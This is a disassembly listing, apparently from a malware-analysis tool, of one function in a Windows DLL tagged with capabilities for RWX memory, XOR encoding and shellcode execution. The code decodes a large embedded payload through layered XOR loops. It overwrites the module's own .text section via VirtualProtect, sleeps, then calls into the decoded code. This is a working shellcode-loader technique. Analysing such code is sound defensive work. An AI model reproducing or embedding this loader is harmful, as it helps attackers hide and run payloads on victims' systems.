Function at 0x1800015e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
mov ecx, 0x3fa2d
call fcn.180008864
movdqa xmm2, xmmword [0x18001ab00]
lea r10, [0x18001ea00]
movdqa xmm3, xmmword [str.OOOOOOOOOOOOOOOO]
lea rcx, [0x18001ea10]
mov rsi, rax
mov r11d, 0xfe8
lea rdx, [rax + 0x20]
sub r10, rsi
mov rax, rdx
sub rcx, rsi
mov r8d, r11d
nop dword [rax]
movdqu xmm0, xmmword [r10 + rax - 0x20]
movdqu xmm1, xmmword [rcx + rax - 0x20]
lea rax, [rax + 0x40]
xorps xmm0, xmm2
xorps xmm1, xmm2
xorps xmm0, xmm3
xorps xmm1, xmm3
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [r10 + rax - 0x40]
movdqu xmmword [rax - 0x50], xmm1
xorps xmm0, xmm2
xorps xmm0, xmm3
movdqu xmm1, xmmword [rcx + rax - 0x40]
movdqu xmmword [rax - 0x40], xmm0
xorps xmm1, xmm2
xorps xmm1, xmm3
movdqu xmmword [rax - 0x30], xmm1
sub r8, 1
jne 0x180001650
mov r9d, 0x2d
lea rcx, [rsi + 0x3fa00]
mov r8d, r9d
movzx eax, byte [r10 + rcx]
lea rcx, [rcx + 1]
xor al, 0xe7
mov byte [rcx - 1], al
sub r8, 1
jne 0x1800016b0
mov rax, rsi
mov ecx, 0x65d2
nop dword [rax]
xor byte [rax], 0xfa
lea rax, [rax + 0xa]
sub rcx, 1
jne 0x1800016d0
mov rax, rsi
mov ecx, 0x7122
nop word [rax + rax]
xor byte [rax], 0x98
lea rax, [rax + 9]
sub rcx, 1
jne 0x1800016f0
mov rax, rsi
mov ecx, 0x7f46
nop word [rax + rax]
xor byte [rax], 0xeb
lea rax, [rax + 8]
sub rcx, 1
jne 0x180001710
mov rax, rsi
mov ecx, 0x9175
nop word [rax + rax]
xor byte [rax], 0x1a
lea rax, [rax + 7]
sub rcx, 1
jne 0x180001730
mov rax, rsi
mov ecx, 0xa9b3
nop word [rax + rax]
xor byte [rax], 0xe8
lea rax, [rax + 6]
sub rcx, 1
jne 0x180001750
mov rax, rsi
mov ecx, 0xcba3
nop word [rax + rax]
xor byte [rax], 0x99
lea rax, [rax + 5]
sub rcx, 1
jne 0x180001770
mov rax, rsi
mov ecx, 0xfe8c
nop word [rax + rax]
xor byte [rax], 0xca
lea rax, [rax + 4]
sub rcx, 1
jne 0x180001790
mov rax, rsi
mov ecx, 0x15365
nop word [rax + rax]
xor byte [rax], 0xfb
lea rax, [rax + 3]
sub rcx, 1
jne 0x1800017b0
mov rcx, rsi
mov r8d, 0x1fd17
nop word [rax + rax]
not byte [rcx]
lea rcx, [rcx + 2]
sub r8, 1
jne 0x1800017d0
movdqa xmm2, xmmword [0x18001aaf0]
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rdx - 0x20]
lea rdx, [rdx + 0x40]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x50]
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x30], xmm1
sub r11, 1
jne 0x1800017f0
lea rax, [rsi + 0x3fa00]
nop word [rax + rax]
xor byte [rax], 0x4f
lea rax, [rax + 1]
sub r9, 1
jne 0x180001850
xor eax, eax
lea r8, [rsp + 0x20]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x20], xmm0
lea r9d, [rax + 0x18]
lea rcx, [rax - 1]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x20]
xor r13d, r13d
mov r15, qword [rsp + 0x38]
movzx edi, r13w
movsxd r14, dword [rbp + 0x3c]
add r14, rbp
cmp r13w, word [r14 + 6]
jae 0x18000195a
mov qword [rsp + 0x88], r12
lea r12, str..text
nop dword [rax]
nop dword [rax + rax]
movzx ecx, word [r14 + 0x14]
movzx eax, di
add rcx, r14
lea rdx, [rax + rax*4]
mov rax, r13
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r12 + rax - 1]
jne 0x180001944
cmp rax, 6
jne 0x1800018e0
mov r15d, dword [rbx + 0x24]
lea r9, [rsp + 0x38]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add r15, rbp
mov dword [rsp + 0x38], r13d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [rbx + 0x24]
mov r8d, 0x3fa2d
add rcx, rbp
mov rdx, rsi
call fcn.180007d70
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x38]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc di
cmp di, word [r14 + 6]
jb 0x1800018c0
mov r12, qword [rsp + 0x88]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call r15
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180002180
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret